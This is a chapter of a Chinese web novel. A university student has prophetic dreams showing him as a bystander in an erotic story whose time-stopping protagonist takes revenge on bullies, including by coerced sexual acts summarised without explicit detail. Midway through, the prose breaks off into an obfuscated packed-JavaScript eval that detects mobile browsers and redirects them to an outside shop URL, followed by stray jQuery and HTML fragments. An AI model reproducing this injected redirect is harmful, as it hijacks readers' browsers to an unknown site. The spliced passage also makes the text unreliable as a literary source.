海西一年到头,温度总是正正好,连带着微雨都藏着暖意。
高饱和色的斑斓彩绘在雨水中渐趋溶解,古怪的着色点被水意浸润,顺着锈色栏杆垂直掉落。
——‘滴答’
“同学们,今天回去之后一定要调整一下心态,以更好的面貌迎接大二学年,我的办公室还在北界楼207......有任何问题都可以来找我......”
沙沙雨声伴着辅导员活力四射的声音,让谢止元都觉得生活有盼头起来。
青年身形高大,懒洋洋地瘫在椅子上,黑T随着脊背舒展的动作向前扯着,额前几缕凌乱的碎发稍稍挡住双眸,随即便被主人随意地揽至脑后,露出那双杏核状的眼睛。
男人眼型圆润,浅棕的瞳色显得人清纯温和,而眼内略多的留白却淡化了这种无辜感,此刻眼皮一耷拉下来,倒是更人畜无害点。
两个X型的小夹子夹在男人后脑勺,一紫一黄隐没在浓黑的发间,把略长的发丝整整齐齐地拢起来,随着主人摇头晃脑的动作微微颤动。
“喂,你昨晚偷牛去了?”
耳边突然传来一道贱兮兮的声音,一头卷曲的金毛倏地占据了谢止元的视野。
“是啊,偷了两头。”谢止元直白道。
他推开卫雁西的头,百无聊赖地想着昨晚光怪陆离的梦境,神经质地抠起侧颈来。
男人冷白的侧颈上缓缓浮起几道红痕,随着主人的抠弄动作痕迹不断加重。
卫雁西没再继续看他,无语地撇了撇嘴,小嘴叨叨起来,“让你别熬那么晚了,开学第一天竟然以这种状态面对你亲爱的室友,还想带你去看......”
好像有只苍蝇在耳边到处乱飞,谢止元面不改色地站起身,拎上背包就跟着院里大部队往外走。
“喂!没良心啊,都不等我......”
室外的雨仍旧在下,海西带着暖意的风徐徐拂过人们的面庞 ,揭开了谢止元在宣海呆的第一个年头。
他脚步不停,没有理会身后卫雁西不满的嘟囔声,脑海里不断回放着昨晚的梦境画面。
——‘海西中清’
——‘北界207室’
——‘迟箬清跳楼’
一幕幕指向性极强的画面在脑海里编连成册,让谢止元不得不在意。
越想脑袋越疼,眼前的画面陡然剧烈晃动,诡异的红紫色光束缓慢地出现在视线里,身前的人影也高强度地扭曲跳动起来。
密密麻麻的猩红蛛丝从远方的天际渐趋延展,绵长的丝线仿佛也扎进了他的眼底,侵吞血肉一步步下行。
霎时天旋地转,谢止元一个闷头——咚得砸了下去。
身前好像撞到了几个人,此起彼伏的叫骂声、求救声,连带着卫雁西的喊叫都清晰地进入了谢止元的脑中。
直到视野完全昏暗,一双冰凉的大手掐住了他的后颈。
————————————
毕竟是新学期的周一中午,前往饮食楼的队伍浩浩荡荡,叽叽喳喳的声音不绝于耳。
“你别说,他倒下来真把我吓一跳......”
“哈哈哈还把你吓一跳,这么大一帅哥投怀送抱,我还以为你要偷着乐呢......”
“滚吧,我真服了你了,一天不犯病皮痒是吧......”
身形高大的男人跟在正嬉笑着的几人身后,淡淡垂着眸,似乎正在想些什么。
直到走到饮食楼门口,男人才缓缓抬起右手,抵在鼻尖轻轻嗅了一下。
骨节分明的右手微微蜷着,蜜色的指尖仿佛还浸润着当初的温度,男人面无表情地垂下手,缓步走进了饮食楼。
————————————
等到天昏昏暗,谢止元才从无边无际的睡梦中清醒,缓缓坐起身望向四周。
医务室里亮着昏黄的灯光,柔和地铺洒在雪白的床被上,点缀了一圈形态各异的阴影。
手机的提示音频频响动,在安静的医务室里格外明显。
他深深吸了一口气,没立刻看手机,先将自己完全从梦境中挣脱。如果说昨天晚上的梦境是一场连续且冗杂的碎片记忆,那么今天的这场梦就更像是一出完整的连环剧。
谢止元清晰地看见了梦中主角的长相,看见了无止境的黄暴争端和诡异的故事结局。
更离奇的是,就连他自己也在这出连环剧中。
没等他缓缓,值班医生就打开门走了进来,“醒了?”
谢止元点点头,没再出声问别的。
医生倒是没放过他,“是不是昨晚熬夜了?没事不要糟践自己的身体,别以为你还年轻......”
等到训话结束,天色已经完全暗下来了,卫雁西也赶了过来。
他扒着医务室的门,露出一双眼睛偷摸盯着谢止元,眼里满是藏不住的戏谑。
两人身量相仿,卫雁西一边扶着他缓步朝前走,一边心有余悸道,“你知不知道今天有多吓人,你这一块头砸下去,幸好前面有个大高个顶着,不然都要把前面的人都砸伤了。”
“......还没好好谢谢那哥们,把你扶起来一句话没说就走了。”青年嘀嘀咕咕着,谢止元想着梦的事,也没太在意。
边走边顺嘴回道,“没留个联系方式,我感谢人一下?”
卫雁西:“没,他走得太快了......”
————————————
等回到宿舍,谢止元头一次搬着可移动式小桌板上了床。
海西社科院的招收人数本来就少,两人算是捡了便宜,分到了为数不多的二人寝。
卫雁西一回来就去洗澡了,这也方便了谢止元暗戳戳地搞小动作。
他可不想在书桌上写这些被卫雁西看见,估计会以为他得失心疯了。
边想着,男人拿起笔开始在本子上画圈圈。
“嗯......主角周晌,疑似有某种暂停时间的能力,后宫1号迟箬清......疑似万人迷人设,嗯性格恶劣......”谢止元看着纸上的文字,用中性笔把两个人的名字圈在了一起。
“迟箬清,纠集团伙暴力欺凌周晌,人格贬低......”
“周晌,强制猥亵......利用时间停止不断报复......”
至于为什么他要写个后宫1号,纯粹是因为在他的梦里这个周晌是个超级无敌大炮王,迟箬清似乎是周晌“成神路”上的第一个男人,当然后面还有其他的男男女女,全都无一例外拜倒在了周晌的西装裤下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776692|210044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
不过后面的后宫2345678号他可就看不清面容了,也许是因为发生时间较远的缘故,还没到让他知道的时候。
谢止元挠了挠头,突然有点反胃,不确定自己是不是脑子真的出了点问题。
世界上真有这种金枪不倒,一路突击夜夜笙歌都不萎不得病的人吗?
要不给他起个外号叫金枪王吧?
想到这,谢止元无端一哂,嘴角扬起点弧度,正拿着笔想在纸上把自己的名字写上去,想了又想还是艰难地放下了笔。
“荒谬。”他暗暗在心里想。
先不说到底这梦是真是假,可把自己也当成这本黄中黄的文中人的话,这也太荒谬了。
排除主角牛逼轰轰的商战和家族权谋剧情,整个梦境里周晌的桃色剧情模式特别固化,谢止元把男人的桃色遭遇总结为三步:
1.遭受后宫成员或后宫爱慕者的欺凌
2.利用时间暂停能力进行反欺凌与反侮辱
3.后宫成员在此过程中爱慕上周晌,周晌抱得美人归
而谢止元自己在剧情中扮演什么样的角色呢?
——一个超级无敌小卡拉米。
甚至只出现在后宫1号迟箬清的篇章中,充当周晌侮辱迟箬清的唯一“观赏者”。
梦境中,谢止元与后宫1号在体育课上相识,被分配到同一组进行训练,日子长了二人也萌发一些若有似无的小情愫。
而在后宫1号欺辱主角周晌之后,周晌对迟箬清采取的报复行为中就有了谢止元这个‘老相好’必须参与的一环——周晌要当着谢止元的面‘侮辱’迟箬清。
时间停止的能力因此派上了用场。
思及此处,谢止元脑海中闪过无数岛国剧集中经典的画面,不禁陷入了沉思。
只能说,还是“经典永流传”。
而在此之前,谢止元从未见过迟箬清,也不觉得自己会喜欢在体育课上谈恋爱。
还是跟一个男的。
真够带派的......
他微微扬眉,随即轻叹一声,把纸从笔记本上撕下来,从床上探出头扔进了垃圾桶里。
适时,卫雁西也从浴室里走了出来,像是想起什么,抬头道:“你今天这么虚,明天还去兼职吗?”
谢止元家庭条件还可以,父母属于形婚那挂,为应付家里人领养了谢止元,虽没太多感情但在物质上从来没亏待过他。
等到谢止元成年后,两人在海西给他留了套房子,随后各奔东西各寻所爱去了。
这些年来,谢止元十分具有忧患意识,秉承着多劳多得的劳动理念积极发展多方兼职,把自己培养成了一个合格的打工人。
他躺在床上,想了想明天的咖啡店兼职,半晌回了句,“去。”
该来的都得来,何况这位主角,明天就会出现在咖啡店。
一面跟他当着人前的好兄弟好伙伴,另一面......一有迟箬清的剧情,总是好心肠地把他请到两人的激情戏前让他观看实战片。
“真没劲。”谢止元抬起胳膊搭到眼睛上,遮挡住头顶的白炽灯光。
到底是真是假,就看明天这位新来的员工,是不是我们的炮王了。
他彻底闭上眼,沉沉睡了过去。